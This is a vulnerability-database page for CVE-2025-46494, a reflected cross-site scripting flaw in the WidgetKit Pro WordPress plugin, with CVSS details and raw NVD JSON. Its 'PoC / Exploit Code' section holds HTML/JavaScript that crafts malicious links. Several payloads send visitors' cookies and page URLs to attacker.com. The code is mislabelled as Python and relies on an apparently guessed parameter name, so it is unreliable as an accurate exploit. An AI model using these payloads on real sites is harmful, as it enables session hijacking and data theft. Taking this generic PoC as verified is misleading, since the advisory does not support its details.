Security Vulnerability Report
中文
CVE-2025-46494 CVSS 7.1 HIGH

CVE-2025-46494

Published: 2026-01-07 13:15:43
Last Modified: 2026-04-28 19:32:15

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesgrove WidgetKit Pro allows Reflected XSS.This issue affects WidgetKit Pro: from n/a through 1.13.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WidgetKit Pro < 1.13.1
WidgetKit Pro 从早期版本到 1.13.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-46494 PoC: Reflected XSS in WidgetKit Pro --> <!-- This PoC demonstrates the reflected XSS vulnerability in WidgetKit Pro <= 1.13.1 --> <!-- Replace 'TARGET_URL' with the vulnerable WordPress site URL --> <!DOCTYPE html> <html> <head> <title>CVE-2025-46494 PoC</title> </head> <body> <h1>CVE-2025-46494: WidgetKit Pro Reflected XSS PoC</h1> <p>Target: WidgetKit Pro <= 1.13.1</p> <script> // Generate malicious URL with XSS payload const targetUrl = 'TARGET_URL'; // Replace with actual target const xssPayload = '<script>alert("XSS - CVE-2025-46494");document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Encoded payload for bypass const encodedPayload = encodeURIComponent(xssPayload); // Malicious URL construction const maliciousUrl = `${targetUrl}/?widgetkit_param=${encodedPayload}`; console.log('Malicious URL:', maliciousUrl); // Function to create the exploit link function createExploitLink() { const link = document.createElement('a'); link.href = maliciousUrl; link.textContent = 'Click here for more info'; link.style.display = 'none'; document.body.appendChild(link); return link.outerHTML; } // Display the malicious URL document.write('<p>Malicious URL: <a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a></p>'); document.write('<p>Encoded XSS Payload: ' + encodedPayload + '</p>'); </script> <!-- Alternative PoC: Direct URL parameter injection --> <!-- Example malicious URLs: 1. https://vulnerable-site.com/?widgetkit_param=<img src=x onerror=alert(document.domain)> 2. https://vulnerable-site.com/?widgetkit_param=<svg/onload=fetch("https://attacker.com/log?c="+document.cookie)> 3. https://vulnerable-site.com/?widgetkit_param=<script>fetch("https://attacker.com/steal?data="+btoa(JSON.stringify({cookies:document.cookie,url:location.href})))</script> --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46494", "sourceIdentifier": "[email protected]", "published": "2026-01-07T13:15:43.423", "lastModified": "2026-04-28T19:32:15.493", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesgrove WidgetKit Pro allows Reflected XSS.This issue affects WidgetKit Pro: from n/a through 1.13.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/widgetkit-pro/vulnerability/wordpress-widgetkit-pro-plugin-1-13-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}